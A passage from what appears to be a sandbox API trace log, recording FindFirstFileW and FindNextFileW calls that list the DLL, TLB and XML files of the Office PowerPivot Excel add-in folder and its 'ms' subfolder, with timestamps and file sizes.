ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Data.ConnectionUI.dll", cAlternateFileName="MI58F6~1.DLL")) returned 1 [0281.960] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4cd5a2f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4cd5a2f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4cfbc75, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe6098, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Data.Recommendation.Client.Core.dll", cAlternateFileName="MIC655~1.DLL")) returned 1 [0281.961] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffdb5707, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffdb5707, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffdb5707, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Data.Recommendation.Client.Picasso.dll", cAlternateFileName="MI021B~1.DLL")) returned 1 [0281.961] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6dea551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6dea551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6dea551, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5840, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Data.Recommendation.Client.Picasso.Sampler.dll", cAlternateFileName="MI7F2A~1.DLL")) returned 1 [0281.961] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5ad77c9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5ad77c9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5eb74f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x22ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Data.Recommendation.Common.dll", cAlternateFileName="MI37D9~1.DLL")) returned 1 [0281.961] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa5ca8ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5ca8ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa806c3d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x146ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.DLL", cAlternateFileName="MIA28E~1.DLL")) returned 1 [0281.961] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf00d5872, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf00d5872, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.DLL", cAlternateFileName="MICROS~1.DLL")) returned 1 [0281.961] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4c88562, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4c88562, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4cd4a32, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x18e058, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.Excel.dll", cAlternateFileName="MIDE30~1.DLL")) returned 1 [0281.961] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4caf7cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4caf7cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4caf7cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb4ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.dll", cAlternateFileName="MI2EE4~1.DLL")) returned 1 [0281.976] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167cf4d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.tlb", cAlternateFileName="MICROS~1.TLB")) returned 1 [0281.976] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6b61d36, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30878, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.dll", cAlternateFileName="MI8157~1.DLL")) returned 1 [0281.976] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf18f9628, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf18f9628, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1726c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.dll", cAlternateFileName="MIBCC9~1.DLL")) returned 1 [0281.976] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x91d3da7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x91d3da7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x97efe5f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfc60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Interfaces.dll", cAlternateFileName="MI2DB2~1.DLL")) returned 1 [0281.976] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2283d0f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x886d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.dll", cAlternateFileName="MIB40B~1.DLL")) returned 1 [0281.976] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf19b820e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf19b820e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf19b820e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1faa68, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.dll", cAlternateFileName="MIC718~1.DLL")) returned 1 [0281.977] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0194432, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0194432, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0194432, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x36468, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0281.977] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6bfa6d9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6bfa6d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bfa6d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15868, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.dll", cAlternateFileName="MIBACB~1.DLL")) returned 1 [0281.977] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc0c33db, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc0c33db, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x47078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.dll", cAlternateFileName="MI319B~1.DLL")) returned 1 [0281.977] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4561444, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4561444, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4646280, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x85f4c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.reportviewer.common.dll", cAlternateFileName="MI70D9~1.DLL")) returned 1 [0281.977] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa4995f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa4995f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa531f86, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x872c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.reportviewer.winforms.dll", cAlternateFileName="MI925C~1.DLL")) returned 1 [0281.977] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6165f55, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6165f55, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6460, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Configuration.SString.dll", cAlternateFileName="MIB00C~1.DLL")) returned 1 [0281.979] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4409f1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4409f1c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf443017d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5e2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.dll", cAlternateFileName="MI4FF6~1.DLL")) returned 1 [0281.979] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms", cAlternateFileName="")) returned 1 [0281.979] GetProcessHeap () returned 0xaf0000 [0281.979] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3676258 [0281.979] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0281.980] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0281.981] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167cf4d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1050, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0281.981] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x60f38e4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60f38e4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0281.981] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffd6924a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffd6924a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffd6924a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x38ad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0281.981] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7d7750, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7d7750, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7d7750, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0281.981] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x618c1b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x618c1b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x618c1b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1fe030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0281.981] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf37f804b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf37f804b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf3b3f424, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3038, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0281.981] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9e7d566, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9e7d566, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9ea37c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1ca90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MI93CC~1.DLL")) returned 1 [0281.982] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6c6bda4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6c6bda4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c6bda4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MIE9BA~1.DLL")) returned 1 [0281.982] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5a8a2df, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a8a2df, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a8a2df, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4c050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0281.982] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfaebb622, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaebb622, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfaebb622, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x47068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MIB24E~1.DLL")) returned 1 [0281.982] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb67b102, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb67b102, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6c7584, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5478, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0281.982] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1de43d5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1de43d5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0281.982] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4c63313, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4c63313, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4c895d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a090, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0281.982] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffddb96c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffddb96c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffddb96c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x71080, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MI63FB~1.DLL")) returned 1 [0281.982] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4cd4a32, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4cd4a32, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4cd4a32, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0281.983] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc70564d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc70564d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc70564d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xaac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MI335D~1.DLL")) returned 1 [0281.983] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf63ed72c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf63ed72c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6a7bf80, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0281.983] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x59b433, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x59b433, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5c164a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0281.983] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0089415, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0089415, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e68, dwReserved0=0x0, dwReserved1=0x0, 